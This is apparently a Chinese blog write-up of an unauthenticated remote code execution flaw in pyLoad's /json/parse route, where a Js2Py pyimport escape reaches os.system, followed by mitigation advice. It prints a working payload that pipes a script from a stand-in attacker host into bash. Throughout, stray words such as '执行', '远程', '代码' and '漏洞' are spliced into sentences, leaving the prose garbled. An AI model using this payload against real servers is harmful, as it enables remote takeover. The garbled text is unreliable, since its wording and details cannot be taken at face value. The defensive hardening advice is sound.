pyLoad 的远程 GitHub 仓库里有个 issue，编号 #2813，代码2023 年 10 月被人翻出来。执行发帖的漏洞人贴了一段 payload，直接打的远程是 js2py 的解析接口。底下跟帖的代码人说“这不就是 RCE 吗”，然后就没然后了——直到两周后有人在野利用打进来，执行官方才推了 0.5.0b3.dev78 这个版本。漏洞

问题出在 pyload/webui/app/blueprints/json_blueprint.py 这个文件里。远程有个 /json/parse 路由，代码接收 POST 过来的执行 js 参数，扔给 Js2Py 的漏洞 eval_js() 执行。Js2Py 本身是远程个纯 Python 的 JavaScript 解释器，设计上允许 JS 调 Python 对象——但 pyload 没做任何沙箱隔离。代码攻击者写 require('child_process').exec('id') 这种 Node 风格代码当然不行，执行可 Js2Py 有它自己的逃逸路子。

具体怎么打？构造一段 JS，利用 Js2Py 内置的 pyimport 函数加载 os 模块，然后 os.system() 直接执行命令。payload 长这样：

var os = pyimport('os'); os.system('curl http://attacker.com/shell.sh | bash');

整个请求发到 /json/parse，服务端返回 { "result": 0}，命令已经跑完了。不需要认证——这个路由在默认配置下对未授权用户开放。pyload 的 WebUI 默认监听 8000 端口，很多用户直接把它暴露在公网，因为觉得“就是个下载工具，能有什么风险”。

我翻了下 pyload 的代码提交记录。2021 年有人提过要不要把 Js2Py 换成更安全的方案，维护者回复说“目前没有已知的 RCE 风险”。两年后漏洞爆出来，那条评论被截图挂到 Reddit 上，底下全是嘲讽。讽刺的是，Js2Py 官方文档里明确写了“不要在生产环境执行不可信代码”，pyload 把它当成了核心功能。

更麻烦的是利用成本。你不需要懂 Js2Py 内部机制，GitHub 上搜“pyload rce exploit”能直接找到现成的 Python 脚本，改个 URL 就能用。Shodan 上搜 pyload 关键字，当时有超过 1.2 万台实例暴露在公网，其中大部分是 0.4.20 版本——这个版本没有修复补丁，官方建议直接升级到 0.5.0b3.dev78 或更高。

修复方式其实很简单：在 eval_js() 调用前加一层白名单校验，只允许特定 JS 语法通过。但 pyload 的插件系统重度依赖 Js2Py 执行用户自定义脚本，一刀切会砍掉功能。维护者最后选择的是禁用 pyimport 和 require 这类危险函数，同时限制执行超时。补丁提交里只改了三行代码，但漏洞从报告到修复拖了 47 天。

如果你还在跑 pyload，检查两件事：WebUI 是否暴露在公网，以及版本号是否低于 0.5.0b3.dev78。改配置比打补丁快——把监听地址从 0.0.0.0 改成 127.0.0.1，或者加个反向代理做 Basic Auth，能挡住大部分自动化扫描。至于那些已经中招的机器，/tmp 目录下可能会多出 .sh 结尾的脚本文件，那是攻击者留下的下载器。

pyload 不是第一个栽在 Js2Py 上的项目。2022 年有个叫 js2py-sandbox 的库专门做隔离，但用的人很少。大部分开发者看到“纯 Python 实现”就觉得安全，忘了解释器本身也是攻击面。这个漏洞的 CVSS 评分是 9.8，但真正危险的地方在于：它不需要任何交互，一个 HTTP 请求就能拿到服务器权限。